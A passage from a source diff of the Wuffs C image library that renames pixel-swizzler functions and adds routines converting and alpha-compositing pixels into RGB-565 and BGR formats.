(old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 4; ++ d += 1 * 2; ++ n -= 1; + } + + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( +- uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++wuffs_private_impl__swizzle_bgr_565__rgba_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22507,17 +23601,14 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_premul_nonpremul_u64_axxx(d0, s0))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); + +- s += 1 * 8; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22525,47 +23616,70 @@ wuffs_base__pixel_swizzler__bgra_premul__rgba_nonpremul_4x16le__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgra_premul__rgba_premul__src_over( ++wuffs_private_impl__swizzle_bgr_565__rgba_premul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len2 = dst_len / 2; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++ size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); +- uint32_t s0 = wuffs_base__swap_u32_argb_abgr( +- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__composite_premul_premul_u32_axxx(d0, s0)); ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); ++ ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); + + s += 1 * 4; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__y(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22573,12 +23687,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- 0xFF000000 | wuffs_base__peek_u24le__no_bounds_check(s + (0 * 3))); ++ uint32_t y5 = (uint32_t)(s[0] >> 3); ++ uint32_t y6 = (uint32_t)(s[0] >> 2); ++ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + +- s += 1 * 3; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + +@@ -22586,15 +23701,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++wuffs_private_impl__swizzle_bgr_565__y_16be(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22602,12 +23717,13 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2)))); ++ uint32_t y5 = (uint32_t)(s[0] >> 3); ++ uint32_t y6 = (uint32_t)(s[0] >> 2); ++ uint32_t rgb_565 = (y5 << 11) | (y6 << 5) | (y5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); + + s += 1 * 2; +- d += 1 * 4; ++ d += 1 * 2; + n -= 1; + } + +@@ -22615,15 +23731,15 @@ wuffs_base__pixel_swizzler__bgrw__bgr_565(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22631,100 +23747,121 @@ wuffs_base__pixel_swizzler__bgrw__bgrx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- 0xFF000000 | wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ uint32_t s0 = ((uint32_t)(s[1]) << 24) | ((uint32_t)(s[0]) * 0x010101); + +- s += 1 * 4; +- d += 1 * 4; ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ s0))); ++ ++ s += 1 * 2; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__ya_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len2 = dst_len / 2; ++ size_t src_len2 = src_len / 2; ++ size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- __m128i shuffle = _mm_set_epi8(+0x00, +0x09, +0x0A, +0x0B, // +- +0x00, +0x06, +0x07, +0x08, // +- +0x00, +0x03, +0x04, +0x05, // +- +0x00, +0x00, +0x01, +0x02); +- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00); ++ // TODO: unroll. + +- while (n >= 6) { +- __m128i x; +- x = _mm_lddqu_si128((const __m128i*)(const void*)s); +- x = _mm_shuffle_epi8(x, shuffle); +- x = _mm_or_si128(x, or_ff); +- _mm_storeu_si128((__m128i*)(void*)d, x); ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t sa = 0x101 * ((uint32_t)s[1]); ++ uint32_t sy = 0x101 * ((uint32_t)s[0]); + +- s += 4 * 3; +- d += 4 * 4; +- n -= 4; +- } ++ // Convert from 565 color to 16-bit color. ++ uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); ++ uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); ++ uint32_t dr = (0x8421 * old_r5) >> 4; ++ uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); ++ uint32_t dg = (0x1041 * old_g6) >> 2; ++ uint32_t old_b5 = 0x1F & (old_rgb_565 >> 0); ++ uint32_t db = (0x8421 * old_b5) >> 4; + +- while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += 1 * 3; +- d += 1 * 4; ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sy * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sy * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sy * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 565 color and combine the components. ++ uint32_t new_r5 = 0x1F & (dr >> 11); ++ uint32_t new_g6 = 0x3F & (dg >> 10); ++ uint32_t new_b5 = 0x1F & (db >> 11); ++ uint32_t new_rgb_565 = (new_r5 << 11) | (new_g6 << 5) | (new_b5 << 0); ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)new_rgb_565); ++ ++ s += 1 * 2; ++ d += 1 * 2; + n -= 1; + } + + return len; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len4 < src_len3) ? dst_len4 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__index__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ const size_t loop_unroll_count = 4; ++ ++ while (n >= loop_unroll_count) { ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (1 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[1] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (2 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[2] * 4))); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (3 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[3] * 4))); ++ ++ s += loop_unroll_count * 1; ++ d += loop_unroll_count * 2; ++ n -= loop_unroll_count; ++ } ++ + while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), wuffs_base__peek_u16le__no_bounds_check( ++ dst_palette_ptr + ((size_t)s[0] * 4))); + +- s += 1 * 3; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + +@@ -22732,15 +23869,19 @@ wuffs_base__pixel_swizzler__bgrw__rgb(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; ++wuffs_private_impl__swizzle_bgr_565__index_bgra_nonpremul__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22748,82 +23889,83 @@ wuffs_base__pixel_swizzler__bgrw__rgbx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- uint8_t b0 = s[0]; +- uint8_t b1 = s[1]; +- uint8_t b2 = s[2]; +- d[0] = b2; +- d[1] = b1; +- d[2] = b0; +- d[3] = 0xFF; ++ uint32_t d0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2))); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ wuffs_base__poke_u16le__no_bounds_check( ++ d + (0 * 2), ++ wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( ++ wuffs_private_impl__composite_premul_nonpremul_u32_axxx(d0, s0))); + +- s += 1 * 4; +- d += 1 * 4; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgr(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; ++wuffs_private_impl__swizzle_bgr_565__index_binary_alpha__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ if (dst_palette_len != ++ WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { ++ return 0; ++ } ++ size_t dst_len2 = dst_len / 2; ++ size_t len = (dst_len2 < src_len) ? dst_len2 : src_len; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = 0xFF; +- d[7] = 0xFF; ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + ++ ((size_t)s[0] * 4)); ++ if (s0) { ++ wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)s0); ++ } + +- s += 1 * 3; +- d += 1 * 8; ++ s += 1 * 1; ++ d += 1 * 2; + n -= 1; + } + + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr__bgr_565(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; + size_t src_len2 = src_len / 2; +- size_t len = (dst_len8 < src_len2) ? dst_len8 : src_len2; ++ size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u64le__no_bounds_check( +- d + (0 * 8), +- wuffs_base__color_u32__as__color_u64( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint32_t s0 = wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( ++ wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + + s += 1 * 2; +- d += 1 * 8; ++ d += 1 * 3; + n -= 1; + } + +@@ -22831,87 +23973,46 @@ wuffs_base__pixel_swizzler__bgrw_4x16le__bgr_565(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__bgrx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; + size_t src_len4 = src_len / 4; +- size_t len = (dst_len8 < src_len4) ? dst_len8 : src_len4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s1; +- d[3] = s1; +- d[4] = s2; +- d[5] = s2; +- d[6] = 0xFF; +- d[7] = 0xFF; +- +- s += 1 * 4; +- d += 1 * 8; +- n -= 1; +- } +- +- return len; +-} +- +-static uint64_t // +-wuffs_base__pixel_swizzler__bgrw_4x16le__rgb(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len8 = dst_len / 8; +- size_t src_len3 = src_len / 3; +- size_t len = (dst_len8 < src_len3) ? dst_len8 : src_len3; +- uint8_t* d = dst_ptr; +- const uint8_t* s = src_ptr; +- size_t n = len; ++ // TODO: unroll. + + while (n >= 1) { +- uint8_t s0 = s[0]; +- uint8_t s1 = s[1]; +- uint8_t s2 = s[2]; +- d[0] = s2; +- d[1] = s2; +- d[2] = s1; +- d[3] = s1; +- d[4] = s0; +- d[5] = s0; +- d[6] = 0xFF; +- d[7] = 0xFF; ++ uint32_t s0 = ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 3; +- d += 1 * 8; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -22919,13 +24020,12 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint32_t s0 = ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 2; ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -22933,154 +24033,200 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 8; +- d += 1 * 4; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } ++ + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over( ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len3 = dst_len / 3; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ 